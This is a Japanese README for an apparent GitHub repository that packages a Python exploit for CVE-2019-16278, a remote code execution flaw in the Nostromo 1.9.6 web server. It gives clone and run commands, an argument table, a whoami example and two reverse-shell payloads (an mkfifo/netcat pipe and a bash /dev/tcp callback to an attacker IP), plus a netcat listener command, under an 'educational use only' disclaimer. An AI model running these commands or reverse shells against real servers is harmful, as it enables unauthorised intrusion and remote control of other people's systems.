📜 説明

このリポジトリには、Nostromo 1.9.6（Webサーバー）の脆弱性であるCVE-2019-16278を悪用するPythonエクスプロイトが含まれています。この脆弱性により、ディレクトリトラバーサルを利用して標的システム上で任意のコマンドを実行する**リモートコード実行（RCE）**が可能になります。

🚀 特徴

脆弱な標的上で任意のシェルコマンドを実行。
リバースシェルペイロードのサポート。
標的からのレスポンスのサイズをカスタマイズ可能。

🛠️ 要件

Python 3.x
Nostromo 1.9.6 を実行しているマシン（脆弱な標的）。
リバースシェルを受け取るための Netcat（nc）。

⚙️ 使用方法

ステップ 1: リポジトリをクローンする

git clone https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git
cd CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution

ステップ 2: エクスプロイトを実行する

python3 CVE-2019-16278.py -t <TARGET_IP> -p <PORT> -c "<COMMAND>" [-b <BYTES_TO_READ>]

引数:

🧑‍💻 使用例

例 1: 標的上で whoami を実行する

python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "whoami"

例 2: Netcat を使用したリバースシェル

ステップ 1: 攻撃用マシンでNetcatリスナーを起動する:

nc -lvnp 443

ステップ 2: リバースシェルペイロードを指定してエクスプロイトを実行する:

python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.16.5 443 > /tmp/f"

例 3: /dev/tcp を使用したリバースシェル

python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"

🔍 脆弱性の詳細

CVE: CVE-2019-16278
影響を受けるソフトウェア: Nostromo 1.9.6 Webサーバー
種類: ディレクトリトラバーサル -> リモートコード実行

⚠️ 免責事項

このツールは教育目的のみを意図しています。所有していない、またはテストする明示的な許可を得ていないシステムでは使用しないでください。システムへの不正アクセスは違法です。責任を持って使用してください。

-t, --target	標的のIPアドレス	はい	なし
-p, --port	標的のポート	はい	なし
-c, --command	サーバー上で実行するコマンド	はい	なし
-b, --bytes	レスポンスで読み取るバイト数	いいえ	4096

CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution

人気